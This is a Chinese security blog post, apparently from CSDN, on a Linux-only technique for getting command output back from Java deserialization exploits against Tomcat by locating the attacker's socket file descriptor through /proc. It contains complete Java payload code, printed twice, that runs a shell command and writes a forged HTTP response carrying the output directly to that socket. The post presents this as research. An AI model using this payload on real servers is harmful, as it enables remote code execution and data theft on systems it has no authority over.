linux 文件描述符 聚拢性,Linux下文件描述符回显构造

1 前言

前面讲了如果通过工具来半自动化挖掘中间件的回显构造方法,那么本篇在适用性上远比前文小,文件描述符只存在于Linux环境下,甚至在Mac环境下都不能调试,因此其局限性还是非常大的,另外在实际环境中如果遇到反代这种大型网络环境,通过这种方法来获取回显也会打上一个大大的问号,所以本文还是保持研究的态度来对这种回显方法一探究竟。

2 实践

在实践前,我们先通过人为模拟来寻找我们所能操控的文件描述符编号

d5cd282ac705e85bbf3102dc8ac5cca7.png

还是熟悉的一个反序列化的应用案例,这里debug后我们来到服务器查看相对应的文件描述信息

f1230c7d2afa90c38b7a13078df6aa85.png

这里对照第五行发现其中的ip地址经过了十六位进制转化,服务器的ip地址为192.168.59.148,对应local_address,而本机ip地址为192.168.59.1,对应remote_address,这里以192.168.59.148为例进行十六进制转化,转化后为C0.A8.3B.94,按照顺序排序后为943BA8C0,后面的1F90怀疑是socket的连接端口,这个暂且不深究,那么看到这里我们就能够知道sl对应5的这条信息其实就是我们本机与远端服务器的交互信息,其中inode为58016。

那么讲到这里就开始出现了如何取这个uid编号的问题,有人说利用ip地址,那么假设是vps的环境下,ip地址固定,通过寻找ip字符串就能拿到相应的inode编号,这是一种办法,而这里由于只有笔者一台服务器,所以这里可以很明显的发现存在交互的socket连接信息其中存在-1的字段,那么在本文的实验环境下是可以通过这个-1的标志位来取的,实际环境下不建议这么做。。

另外这里走了很长的弯路,一直以为文件描述信息在/proc/thread-self/net/tcp其中,但是经过不断地实验发现取上述地址并不能获得回显,但是会在catalina的记录里出现,因此这里取地址的时候需要越过这个坑。

那么这里我们已经取到了inode编号为58016,接下来到对应的pid目录下去看一看socket连接信息

357832c24fc2778b1b09f30558eabf20.png

这里tomcat的pid编号为3303,通过命令“ls -l /proc/3303/fd”即可查看tomcat的所有连接信息,这里对应58016编号,可以看到文件描述符为62

d24f6d23a513319c8492f6d3f56cf48e.png

至此我们通过手工方法复现了寻找文件描述符的方法,最后通过java代码来篡写fd为62的文件内容

以下附上实验代码

//ShellExec

String command = "whoami";

java.util.List cmds = new java.util.ArrayList();

cmds.add("/bin/bash");

cmds.add("-c");

cmds.add(command);

ProcessBuilder pb = new ProcessBuilder(cmds);

pb.redirectErrorStream(true);

Process proc = pb.start();

byte[] out = new byte[1024 * 10];

proc.getInputStream().read(out);

//GetInode

java.io.File f1 = new java.io.File("/proc/thread-self/net/tcp6");

java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(f1));

String line,inode,uid = "";

while ((line = br.readLine()) != null) {

String[] lineArr = line.split("\\s+");

if (lineArr.length == 18){

inode = lineArr[17];

java.util.regex.Pattern pattern = java.util.regex.Pattern.compile("^[-\\+]?[\\d]*$");

if(pattern.matcher(inode).matches() && Integer.parseInt(inode) < 0) {

uid = lineArr[10];

break;

}

}

}

//getFdFile

String tmp = "";

java.io.File file = new java.io.File("/proc/thread-self/fd");

java.io.File[] fs = file.listFiles();

for (int i=0;i

java.io.File f = fs[i];

java.nio.file.Path path = java.nio.file.Paths.get(f.toString(), new String[]{""});

String link = java.nio.file.Files.readSymbolicLink(path).toString();

if (link.contains(uid)) {

tmp = f.toString();

break;

}

}

//getFd

Class clazz = Class.forName("java.io.FileDescriptor");

java.lang.reflect.Constructor m = clazz.getDeclaredConstructor(new Class[]{Integer.TYPE});

m.setAccessible(true);

String[] fdArr = tmp.split("/");

String fdId = fdArr[fdArr.length - 1];

java.io.FileDescriptor fd = (java.io.FileDescriptor) m.newInstance(new Object[]{new Integer(fdId)});

//writeFd

String body = new String(out);

String response = "HTTP/1.1 200 OK\r\n"

+ "Content-Type: text/html\r\n"

+ "Content-Length: " + body.length()

+ "\r\n\r\n"

+ body

+ "\r\n\r\n";

java.io.FileOutputStream os = new java.io.FileOutputStream(fd);

os.write(response.getBytes());

os.close();

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

//ShellExec

Stringcommand="whoami";

java.util.Listcmds=newjava.util.ArrayList();

cmds.add("/bin/bash");

cmds.add("-c");

cmds.add(command);

ProcessBuilderpb=newProcessBuilder(cmds);

pb.redirectErrorStream(true);

Processproc=pb.start();

byte[]out=newbyte[1024*10];

proc.getInputStream().read(out);

//GetInode

java.io.Filef1=newjava.io.File("/proc/thread-self/net/tcp6");

java.io.BufferedReaderbr=newjava.io.BufferedReader(newjava.io.FileReader(f1));

Stringline,inode,uid="";

while((line=br.readLine())!=null){

String[]lineArr=line.split("\\s+");

if(lineArr.length==18){

inode=lineArr[17];

java.util.regex.Patternpattern=java.util.regex.Pattern.compile("^[-\\+]?[\\d]*$");

if(pattern.matcher(inode).matches()&&Integer.parseInt(inode)<0){

uid=lineArr[10];

break;

}

}

}

//getFdFile

Stringtmp="";

java.io.Filefile=newjava.io.File("/proc/thread-self/fd");

java.io.File[]fs=file.listFiles();

for(inti=0;i

java.io.Filef=fs[i];

java.nio.file.Pathpath=java.nio.file.Paths.get(f.toString(),newString[]{""});

Stringlink=java.nio.file.Files.readSymbolicLink(path).toString();

if(link.contains(uid)){

tmp=f.toString();

break;

}

}

//getFd

Classclazz=Class.forName("java.io.FileDescriptor");

java.lang.reflect.Constructorm=clazz.getDeclaredConstructor(newClass[]{Integer.TYPE});

m.setAccessible(true);

String[]fdArr=tmp.split("/");

StringfdId=fdArr[fdArr.length-1];

java.io.FileDescriptorfd=(java.io.FileDescriptor)m.newInstance(newObject[]{newInteger(fdId)});

//writeFd

Stringbody=newString(out);

Stringresponse="HTTP/1.1 200 OK\r\n"

+"Content-Type: text/html\r\n"

+"Content-Length: "+body.length()

+"\r\n\r\n"

+body

+"\r\n\r\n";

java.io.FileOutputStreamos=newjava.io.FileOutputStream(fd);

os.write(response.getBytes());

os.close();

最后通过模拟http返回包内容来构造回显内容,然后配合上反序列化,至此就能够拿到页面回显。

0ddf300893f5322aec67ab24224e69b6.png

3 后记

这种回显构造的方式仅局限于linux环境,所以局限性还是非常大的,并不如前文提到的利用response构造回显应用的那么广泛。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行和易用,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值